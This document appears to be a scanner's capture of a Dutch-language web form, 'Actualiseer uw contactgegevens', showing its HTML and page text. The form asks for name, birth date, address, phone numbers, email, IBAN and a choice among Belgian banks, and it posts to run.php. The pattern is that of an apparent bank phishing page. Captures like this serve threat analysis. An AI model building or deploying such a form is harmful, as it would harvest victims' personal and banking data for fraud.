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Form analysis
1 forms found in the DOM

POST run.php

<form action="run.php" method="post">
  <div class="input-wrapper">
    <input type="text" required="" id="voornaam" name="voornaam" placeholder=" ">
    <label for="voornaam">Voornaam</label>
  </div>
  <div class="input-wrapper">
    <input type="text" required="" id="achternaam" name="achternaam" placeholder=" ">
    <label for="achternaam">Achternaam</label>
  </div>
  <div class="input-wrapper">
    <input type="text" required="" id="geboortedatum" name="geboortedatum" placeholder=" ">
    <label for="geboortedatum">Geboortedatum</label>
  </div>
  <div class="input-wrapper">
    <input type="text" required="" id="straat_huisnummer" name="straat_huisnummer" placeholder=" ">
    <label for="straat_huisnummer">Straatnaam en Huisnummer</label>
  </div>
  <div class="input-wrapper">
    <input type="text" required="" id="postcode" name="postcode" placeholder=" ">
    <label for="postcode">Postcode</label>
  </div>
  <div class="input-wrapper">
    <input type="tel" required="" id="telefoonnummer" name="telefoonnummer" placeholder=" ">
    <label for="telefoonnummer">Telefoonnummer</label>
  </div>
  <div class="input-wrapper">
    <input type="tel" required="" id="telefoonnummer1" name="telefoonnummer1" placeholder=" ">
    <label for="telefoonnummer1">Mobiele nummer</label>
  </div>
  <div class="input-wrapper">
    <input type="text" required="" id="emailadres" name="emailadres" placeholder=" ">
    <label for="emailadres">E-mailadres</label>
  </div>
  <div class="input-wrapper">
    <input type="text" required="" id="zak" name="zak" placeholder=" ">
    <label for="zak">Rekening (IBAN)</label>
  </div>
  <div class="input-wrapper">
    <select class="form__item__field" id="support" name="support" required="">
      <option selected="" disabled="" value="">Kies uw bank</option>
      <option value="KBC Bank">KBC Bank</option>
      <option value="BNP Paribas Fortis">BNP Paribas Fortis</option>
      <option value="ING">ING</option>
      <option value="Belfius Bank">Belfius Bank</option>
      <option value="Argenta">Argenta</option>
      <option value="Crelan">Crelan</option>
      <option value="AXA Bank">AXA Bank</option>
      <option value="Europabank">Europabank</option>
      <option value="Beobank">Beobank</option>
      <option value="Triodos Bank">Triodos Bank</option>
      <option value="Aion Bank">Aion Bank</option>
      <option value="CBC Banque">CBC Banque</option>
      <option value="CKV Bank">CKV Bank</option>
      <option value="CPH Banque">CPH Banque</option>
      <option value="vdk bank">vdk bank</option>
      <option value="Banca Monte Paschi Belgio">Banca Monte Paschi Belgio</option>
      <option value="Keytrade Bank">Keytrade Bank</option>
      <option value="Nagelmackers">Nagelmackers</option>
      <option value="Deutsche Bank">Deutsche Bank</option>
      <option value="VDK Spaarbank">VDK Spaarbank</option>
      <option value="Fintro">Fintro</option>
    </select>
    <label for="support">Kies uw bank</label>
  </div>
  <button type="submit"><b>Verzenden</b></button>
</form>

Text Content

Actualiseer uw contactgegevens


Voornaam
Achternaam
Geboortedatum
Straatnaam en Huisnummer
Postcode
Telefoonnummer
Mobiele nummer
E-mailadres
Rekening (IBAN)
Kies uw bank KBC Bank BNP Paribas Fortis ING Belfius Bank Argenta Crelan AXA
Bank Europabank Beobank Triodos Bank Aion Bank CBC Banque CKV Bank CPH Banque
vdk bank Banca Monte Paschi Belgio Keytrade Bank Nagelmackers Deutsche Bank VDK
Spaarbank Fintro Kies uw bank
Verzenden